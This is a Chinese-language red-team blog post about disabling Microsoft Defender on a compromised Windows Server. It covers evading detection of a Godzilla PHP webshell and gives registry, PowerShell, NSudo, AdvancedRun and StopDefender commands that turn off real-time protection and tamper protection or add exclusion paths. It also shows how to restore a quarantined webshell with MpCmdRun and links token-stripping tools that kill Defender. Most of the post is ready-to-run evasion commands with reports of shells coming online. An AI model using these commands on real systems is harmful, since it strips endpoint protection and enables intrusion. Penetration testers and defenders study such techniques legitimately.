红蓝对抗之致盲 Windows defender

举报
亿人安全 发表于 2023/04/11 20:46:49 2023/04/11
【摘要】 Windows defender 介绍Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microso...

Windows defender 介绍

Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。

Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。

Windows defender 环境

版本

Windows Server 系统环境

  • 用户:Administrator
  • 版本:Windows Server 2019

补丁

systeminfo 信息

事前准备

在实战环境中,首先需要上传webshell,所以在此必须免杀webshell

web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4

哥斯拉 webshell 免杀

工具地址:https://github.com/BeichenDream/Godzilla

经过测试,用Godzilla自带的PHP_XOR_BASE64加密器即可免杀(php一句话直接杀)

生成 PHP_XOR_BASE64 webshell

静态免杀测试

连接webshell

动态免杀测试

关闭 Windows defender

TrustedInstaller

TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。

它的全名是:NT SERVICE\TrustedInstaller

那么为什么要获取TrustedInstaller权限?

说白了就是因为Administratior权限system权限cmd无法关闭 Windows defender(powershell可以)

注意:以下工具技巧皆需要Administratior权限或者system权限才能成功使用

基础命令介绍

cmd

#查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
#查看版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
#查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"


#需要TrustedInstaller权限
##cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
##cmd关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
##cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
##cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

#关闭实时保护
Set-MpPreference -DisableRealtimeMonitoring $true

NSudoLG

工具地址:https://github.com/M2Team/NSudo

下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe

免杀测试

使用方法

注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限

#cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
#cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
#cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

#NSudoLG.exe关闭Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
#NSudoLG.exe恢复Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f"
#NSudoLG.exe添加Windows defender排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"

powershell成功上线

AdvancedRun

地址:https://www.nirsoft.net/utils/advanced_run.html

免杀测试

使用方法

AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

powershell成功上线

StopDefender

Github地址:https://github.com/lab52io/StopDefender

免杀测试

使用方法

StopDefender_x64.exe

powershell成功上线

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

关闭 Windows defender

关闭 实时保护

Set-MpPreference -DisableRealtimeMonitoring $true

其他技巧

MpCmdRun恢复被隔离的文件

MpCmdRun介绍

配置和管理 Microsoft Defender 防病毒软件的命令行工具

详情

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

寻找MpCmdRun位置

MpCmdRun的位置为:

C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>

#查看版本(查看<antimalware platform version>)
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

#验证
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun

基础命令

#查看被隔离的文件列表
MpCmdRun -Restore -ListAll

#恢复指定名称的文件至原目录
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php

#恢复所有文件至原目录
MpCmdRun -Restore -All

#查看指定路径是否位于排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\

移除Token导致Windows Defender失效

Windows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)

非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效。

本人没有利用成功过

工具地址

https://github.com/pwn1sher/KillDefender

https://github.com/Octoberfest7/KillDefender

https://github.com/Octoberfest7/KDStab

参考文章

https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw

https://zhuanlan.zhihu.com/p/538571344

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

https://cloud.tencent.com/developer/article/1870239

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。